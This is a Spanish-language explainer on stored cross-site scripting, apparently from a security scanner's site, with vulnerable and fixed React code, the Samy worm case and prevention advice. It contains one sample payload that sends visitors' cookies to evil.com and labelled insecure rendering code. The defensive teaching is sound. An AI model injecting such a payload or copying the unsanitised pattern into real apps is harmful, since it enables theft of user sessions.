XSS Almacenado
Contenido provisto por el usuario guardado en la base de datos sin sanitizar y renderizado en el navegador como HTML, permitiendo inyección de scripts persistente que se ejecuta para cada usuario que ve el contenido.
Cómo Funciona
A diferencia del XSS reflejado (que requiere que la víctima haga clic en un link), el XSS almacenado se inyecta una vez y persiste. Un atacante envía un comentario como `<script>fetch('https://evil.com?c='+document.cookie)</script>`. Tu app lo guarda, y cada usuario que carga la página ejecuta ese script. Una inyección, víctimas ilimitadas.
// MAL: contenido crudo del usuario renderizado como HTML
// El servidor guarda el contenido tal cual
await db.comments.create({ data: { content: req.body.content } });
// El cliente lo renderiza sin sanitizar
<div dangerouslySetInnerHTML={{ __html: comment.content }} />// BIEN: sanitiza al guardar, escapa al renderizar
import DOMPurify from 'isomorphic-dompurify';
// Sanitiza antes de guardar
const clean = DOMPurify.sanitize(req.body.content);
await db.comments.create({ data: { content: clean } });
// En React, usa renderizado de texto por defecto
<p>{comment.content}</p>Ejemplo Real
El gusano Samy de MySpace (2005) explotó XSS almacenado para agregar 1 millón de amigos en 20 horas. Ejemplos modernos incluyen XSS en el renderizador de markdown de Slack (2017, bounty de $3,500) y en los comentarios de issues de GitHub (parcheado antes de explotación).
Cómo Prevenirlo
- Sanitiza el input HTML con DOMPurify (isomorphic-dompurify para SSR) antes de guardar
- Usa el renderizado de texto por defecto de React (expresiones JSX) que auto-escapa
- Solo usa dangerouslySetInnerHTML con contenido que haya sido sanitizado
- Configura un Content-Security-Policy estricto para contener el daño de cualquier XSS perdido
- Para editores de texto rico, usa solo tags HTML en allowlist (no script, no style)
Tecnologías Afectadas
Data Hogo detecta esta vulnerabilidad automáticamente.
Escanea Tu Repo GratisVulnerabilidades Relacionadas
XSS Basado en DOM
highScripts maliciosos ejecutados al leer datos controlados por el atacante de la URL o APIs del navegador y escribirlos en el DOM usando sinks peligrosos como innerHTML o document.write.
PostMessage Sin Verificar Origen
mediumHandlers de window.addEventListener('message') que procesan mensajes sin verificar event.origin, permitiendo que cualquier sitio web envíe comandos al handler de mensajes de tu app.
Clickjacking Avanzado
mediumAusencia de los headers X-Frame-Options y CSP frame-ancestors, combinada con sin lógica de frame-busting en el cliente, dejando la app completamente embebible en iframes maliciosos.
Iframe Sin Atributo Sandbox
mediumContenido de terceros o generado por el usuario cargado en un iframe sin el atributo sandbox, permitiendo que ese contenido ejecute scripts, acceda a cookies del padre y navegue el frame de nivel superior.